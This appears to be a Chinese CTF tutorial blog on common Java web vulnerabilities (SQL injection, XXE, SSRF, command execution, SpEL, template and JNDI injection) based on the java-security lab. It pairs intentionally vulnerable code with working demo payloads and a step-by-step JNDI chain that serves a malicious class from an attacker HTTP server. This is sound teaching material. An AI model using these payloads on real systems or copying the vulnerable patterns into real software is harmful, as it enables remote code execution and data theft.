CTF javaweb中几大常见漏洞(基于java-security靶场)
对于CTF而言,java类型的题目基本都是白盒代码审计,在java类型的web题目增长的今天,java代码审计能力在ctf比赛中尤为重要。
这篇博客主要是给大家介绍一下一些常见漏洞在java代码里面大概是怎么产生的,而不去讨论漏洞具体的利用技巧。
一、SQL注入
什么是JDBC?
JDBC(Java Database Connectivity) 是 Java 提供的用于连接和操作数据库的标准 API(应用程序接口)。
JDBC中几个常见的造成sql注入的语法
1.statement字符串拼接
public String vul1(String id) {
Class.forName("com.mysql.cj.jdbc.Driver");
Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
Statement stmt = conn.createStatement();
String sql = "select * from users where id = '" + id + "'";
ResultSet rs = stmt.executeQuery(sql);
}
2.PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用
public String vul2(String id) {
Class.forName("com.mysql.cj.jdbc.Driver");
Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
String sql = "select * from users where id = " + id;
PreparedStatement st = conn.prepareStatement(sql);
ResultSet rs = st.executeQuery();
}
正确的语法应该是
String sql = "select * from users where id = ?";
PreparedStatement st = conn.prepareStatement(sql);
st.setString(1, id);
用这种方法即可让输入的id的特殊符号自动转义
3.使用jdbctemplate但还是直接拼接
public Map<String, Object> vul3(String id) {
DriverManagerDataSource dataSource = new DriverManagerDataSource();
dataSource.setDriverClassName("com.mysql.cj.jdbc.Driver");
dataSource.setUrl(db_url);
dataSource.setUsername(db_user);
dataSource.setPassword(db_pass);
JdbcTemplate jdbctemplate = new JdbcTemplate(dataSource);
String sql = "select * from users where id = " + id;
// 安全代码:使用参数化查询,避免SQL注入风险
// String sql = "select * from users where id = ?";
return jdbctemplate.queryForMap(sql);
}
基本jdbc sql注入所有的来源都是直接拼接,一般来说用一些转义的库或者正则过滤都可以避免
MyBatis的sql注入
MyBatis是一种轻量化的框架,可以用于和数据库连接,他也存在一些漏洞。
${}
@GetMapping("/vul/order") //Controller层,获取客户端的参数,传递给userMapper的orderBy,分别在下面有定义
public List<User> orderBy(String field, String sort) {
return userMapper.orderBy(field, sort);
}
// 不安全的注解写法
public interface UserMapper {
@Select("select * from users order by ${field} ${sort}")
List<User> orderBy(@Param("field") String field, @Param("sort") String sort);
}
// 不安全的XML映射写法 , 通过xml的格式来定义
<select id="orderBy" resultType="com.best.hello.entity.User">
select * from users order by ${field} ${sort}
</select>
这里${}的传参格式直接拼接sql造成注入漏洞
二、文件上传漏洞
java的文件上传和传统的文件上传基本都是一类漏洞,无非就是前端校验,修改扩展名,content-type之类的东西,其次还有像目录遍历这样的漏洞,就不单独说明了,给大家看看java文件上传的函数大概是怎么写的就行.
文件上传:
@PostMapping("/uploadVul")
public String uploadVul(@RequestParam("file") MultipartFile file) {
try {
byte[] bytes = file.getBytes();
Path dir = Paths.get(UPLOADED_FOLDER);
Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
Files.write(path, bytes);
} catch (Exception e) {
return e.toString();
}
return "redirect:uploadStatus";
}
目录遍历:
public String fileList(String filename) {
String filePath = System.getProperty("user.dir") + "/logs/" + filename; //直接拼接,可以上传类似../..的文件名
StringBuilder sb = new StringBuilder();
File f = new File(filePath);
File[] fs = f.listFiles();
if (fs != null) {
for (File ff : fs) {
sb.append(ff.getName()).append("<br>");
}
return sb.toString();
}
return filePath + "目录不存在!";
}
三、XSS
造成反射型xss漏洞最基本的代码:
@GetMapping("/reflect")
public static String input(String content) {
return content; //直接return
}
储存型:
@PostMapping("/save")
public String save(HttpServletRequest request) {
String content = request.getParameter("content");
xssMapper.add(content); //xss.Mapper未过滤直接存
return "success";
}
注入的方法也和传统xss一样,主要看你注入的js语句效果如何
四、SSRF
java里面发送任意请求的代码是怎么写的呢?
public static String URLConnection(String url) {
try {
URL u = new URL(url); //用URL类
URLConnection conn = u.openConnection(); //通过 URLConnection 建立到指定URL的连接。
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String content;
StringBuffer html = new StringBuffer();
while ((content = reader.readLine()) != null) {
html.append(content);
}
reader.close();
return html.toString();
} catch (Exception e) {
return e.getMessage();
}
}
他的漏洞利用方式也和普通SSRF漏洞差不多,各种绕过黑名单的方法都能拿来用
五、XML
java中有很多xml解释类,这里也主要给大家介绍一下这些类,不去讲xml的语法,过滤方法也主要靠黑名单过滤
1.XMLReader
String XMLReader(@RequestBody String content) {
try {
XMLReader xmlReader = XMLReaderFactory.createXMLReader(); //xml解释器
// 修复:禁用外部实体解析
// xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.parse(new InputSource(new StringReader(content))); //开始解析
return "XMLReader XXE";
} catch (Exception e) {
return e.toString();
}
}
2.DocumentBuilder
@RequestMapping(value = "/DocumentBuilder")
public String DocumentBuilder(@RequestParam String content) {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); //xml解释器
// 修复: 禁用外部实体
// factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder(); //开始解析,自动获取content参数
}
3.SAXReader
@RequestMapping(value = "/SAXReader")
public String SAXReader(@RequestParam String content) {
try {
SAXReader sax = new SAXReader(); //解释器
// 修复:禁用外部实体
// sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
sax.read(new InputSource(new StringReader(content))); //解析
return "SAXReader XXE";
} catch (Exception e) {
return e.toString();
}
}
4.Unmarshaller
public String Unmarshaller(@RequestBody String content) {
try {
JAXBContext context = JAXBContext.newInstance(Student.class);
Unmarshaller unmarshaller = context.createUnmarshaller(); //xml解释器
XMLInputFactory xif = XMLInputFactory.newFactory();
// 修复: 禁用外部实体
// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content)); //装载xml
Object o = unmarshaller.unmarshal(xsr); //解析xml
return o.toString(); //字符串返回
} catch (Exception e) {
e.printStackTrace();
}
5.SAXBuilder
@RequestMapping(value = "/SAXBuilder")
public String SAXBuilder(@RequestBody String content) {
try {
SAXBuilder saxbuilder = new SAXBuilder(); //解释器
// 修复:禁用外部实体
// saxbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxbuilder.build(new InputSource(new StringReader(content))); //解析
return "SAXBuilder XXE";
} catch (Exception e) {
return e.toString();
}
}
六、java rce
ProcessBuilder方式
触发代码:
// new ProcessBuilder(command).start()
// 功能是利用ProcessBuilder执行ls命令查看文件,但攻击者通过拼接; & |等连接符来执行自己的命令。
public static String processbuilderVul(String filepath) throws IOException {
String[] cmdList = {"sh", "-c", "ls -l " + filepath}; //命令拼接输入的filepath,例如输入/tmp;whoami即可拼接命令
ProcessBuilder pb = new ProcessBuilder(cmdList); //创建进程
pb.redirectErrorStream(true);
Process process = pb.start(); //启动进程
// 获取命令的输出
InputStream inputStream = process.getInputStream(); //获取命令的标准输出流
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream)); //逐行读取输出内容
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
} //拼接所有输出行,最终返回给调用者
return output.toString();
}
这里主要是介绍ProcessBuilder触发rce的一个情景,这里是调用sh解析的就不多介绍相关命令了。
Runtime方式
// Runtime.getRuntime().exec(cmd)
public static String vul(String cmd) {
StringBuilder sb = new StringBuilder();
try {
Process proc = Runtime.getRuntime().exec(cmd);
InputStream fis = proc.getInputStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
...
这里Runtime.getRuntime().exec执行命令调用是系统默认的shell
Processlmpl
// ProcessImpl 是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类
// ProcessImpl 类是一个抽象类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的
public static String vul(String cmd) throws Exception {
// 首先,使用 Class.forName 方法来获取 ProcessImpl 类的类对象
Class clazz = Class.forName("java.lang.ProcessImpl");
// 然后,使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
// 使用 method.setAccessible 方法将 start 方法设为可访问
method.setAccessible(true);
// 最后,使用 method.invoke 方法来调用 start 方法,并传入参数 cmd,执行命令
Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}
脚本引擎代码注入
// 通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行
// 远程恶意js: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
// ⚠️ 在Java 8之后移除了ScriptEngineManager的eval
public void jsEngine(String url) throws Exception { //url就是脚本地址
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String payload = String.format("load('%s')", url);
engine.eval(payload, bindings);
}
groovy
import groovy.lang.GroovyShell;
@GetMapping("/groovy")
public void groovy(String cmd) {
GroovyShell shell = new GroovyShell();
shell.evaluate(cmd);
}
可以理解为一种基于java的语言。
七、java反序列化漏洞
java反序列化和php、python等还是有很大区别的,涉及到的内容较多,也是java中最有特色也最难利用的一类漏洞了,之后我会单独出一个博客来讲解
八、SpEL(Spring Expression Language)表达式注入
在spring框架的web项目可能会出现的漏洞,主要靠SpelExpressionParser这个类
/**
* 产生原因:默认的StandardEvaluationContext权限过大,用户输入的表达式被直接解析和执行
* PoC: T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)
*/
public String vul(String ex) {
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
Expression exp = parser.parseExpression(ex);
String result = exp.getValue(evaluationContext).toString();
return result;
}
需要spel语法注入,上方有命令执行的poc
九、模板注入
通过这里我们也来认识一下java通用的模板引擎有哪些
Thymeleaf 模板
/**
* 1.模板文件参数可控,造成模板注入漏洞(选择模板)
*/
@GetMapping("/thymeleaf/vul")
public String thymeleafVul(@RequestParam String lang) {
return "lang/" + lang;
}
//lang=__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x
/**
* 2.模板片段参数可控,造成模板注入漏洞(片段选择器)
*/
@GetMapping("/thymeleaf/fragment/vul")
public String fragmentVul(@RequestParam String section) {
return "lang/en :: " + section;
}
//section=${T(java.lang.Runtime).getRuntime().exec("calc")
/**
* 3.当 Spring MVC 的 @GetMapping 方法没有返回值(void)时,Spring 会默认将请求的 URL 路径作为视图名称(View Name),交给模板引擎(如 Thymeleaf)解析。
* 在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞
* payload: __${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}__::.x
*/
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
System.out.println(document);
}
//poc:http://.../doc/__$%7BT(java.lang.Runtime).getRuntime().exec('whoami')%7D__::.x
FreeMarker 模板注入
/**
* 模板文件内容可控,造成模板注入漏洞
* payload: <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator") }
*/
@GetMapping("/freemarker/vul")
public String freemarkerVul(@RequestParam String file, @RequestParam String content, Model model, HttpServletRequest request) {
String resourcePath = "templates/freemarker/" + file;
try (InputStream is = getClass().getClassLoader().getResourceAsStream(resourcePath)) {
...
}
stringTemplateLoader.putTemplate(file, content); //stringTemplateLoader.putTemplate将用户输入的 content 动态加载为 FreeMarker 模板。content里的内容可以被命令执行
conf.setTemplateUpdateDelayMilliseconds(0);
conf.setLogTemplateExceptions(false);
return file.replace(".ftl", "");
}
// poc:?file=indexxx.ftl&content=<%23assign%20ex%3d"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29>%20%24%7b%20ex%28"whoami"%29%20%7d
Velocity 模板注入(evaluate场景)
/**
* evaluate() 方法用于解析字符串模板,而不是从 .vm 文件中获取模板内容。
* 将用户传入的参数拼接到字符串模板中使用evaluate进行解析,造成RCE
* 漏洞影响范围: velocity <= 2.2
* 修复方式: 更新至 2.3 以上版本
* payload: #set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")
*/
@GetMapping("/velocity/evaluate/vul")
@ResponseBody
public String velocityEvaluateVul(@RequestParam(defaultValue = "Hello-Java-Sec") String username) {
String templateString = "Hello, " + username + " | phone: $phone, email: $email"; //拼接处
Velocity.init();
VelocityContext ctx = new VelocityContext();
ctx.put("phone", "012345678");
ctx.put("email", "xxx@xxx.com");
StringWriter out = new StringWriter();
Velocity.evaluate(ctx, out, "test", templateString); //关键触发函数Velocity.evaluate
return out.toString();
}
Velocity注入(merge场景)
/**
* merge() 方法用于将模板字符串与上下文数据合并并生成结果
* 示例代码中通过读取 merge.vm 的内容,将模板内容中的<USERNAME>替换为前端传入的username参数,最后通过merge方法进行合并,造成RCE
* 漏洞影响范围: velocity <= 2.2
* 修复方式: 更新至 2.3 以上版本
* payload: #set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")
*/
@GetMapping("/velocity/merge/vul")
@ResponseBody
public String velocityMergeVul(@RequestParam(defaultValue = "x1ong") String username) throws IOException, ParseException {
// 读取 velocity 模板文件
BufferedReader bufferedReader = new BufferedReader(new FileReader(String.valueOf(Paths.get(this.getClass().getClassLoader().getResource("templates/velocity/merge.vm").toString().replace("file:", "")))));
StringBuilder stringBuilder = new StringBuilder();
//merge.vm就是模板文件
// 将模板文件读取到字符串
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line);
}
String templateString = stringBuilder.toString();
// 替换模板中的 <USERNAME> 变量,存在注入风险
templateString = templateString.replace("<USERNAME>", username);
// 创建 Velocity 解析器
StringReader reader = new StringReader(templateString);
VelocityContext ctx = new VelocityContext();
ctx.put("name", "x1ong");
ctx.put("phone", "012345678");
ctx.put("email", "xxx@xxx.com");
// 解析并执行 Velocity 模板
StringWriter out = new StringWriter();
org.apache.velocity.Template template = new org.apache.velocity.Template();
RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));
template.setRuntimeServices(runtimeServices);
template.setData(node);
template.initDocument();
template.merge(ctx, out); //合并解析
return out.toString();
}
十、jndi注入
java运行远程加载类,而不局限于本地或者库里面的类,因此就会有远程恶意类的出现
/**
* 产生原因:当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。
*/
public void vul(String content) {
try {
Context ctx = new InitialContext(); //创建一个 JNDI 初始上下文(Initial Context),相当于连接到一个命名服务(如 LDAP、RMI、DNS、本地文件系统等)。
ctx.lookup(content); //根据传入的 content(名称/路径)查找并返回绑定的对象
} catch (Exception e) {
log.warn("JNDI错误消息");
}
}
这里的content我们可控,因此我们可以加载一些本地或者远程的恶意类
poc:rmi://127.0.0.1:1099/Exp
具体攻击流程:
(1)编写恶意类 Exploit.java
// Exploit.java - 弹计算器(Windows)或执行任意命令
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc.exe");
// Linux/Mac替换为:Runtime.getRuntime().exec("/bin/bash -c 'touch /tmp/pwned'");
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译为 .class 文件:
javac Exploit.java
(2)启动 HTTP 服务器托管 Exploit.class
# 使用Python快速启动HTTP服务(端口8000)
python3 -m http.server 8000
确保 Exploit.class 可通过 http://your-ip:8000/Exploit.class 访问。
(3)启动恶意 RMI 服务器
// RMIServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
// 指向HTTP服务器上的Exploit.class
Reference ref = new Reference("Exploit", "Exploit", "http://your-ip:8000/");
registry.bind("Exploit", new ReferenceWrapper(ref));
System.out.println("RMI Server running on 0.0.0.0:1099");
}
}
编译并运行:
javac RMIServer.java
java RMIServer
十一、组件注入
也单独开一个博客去讲
后续如果我遇到好的靶场题目也会继续补充博客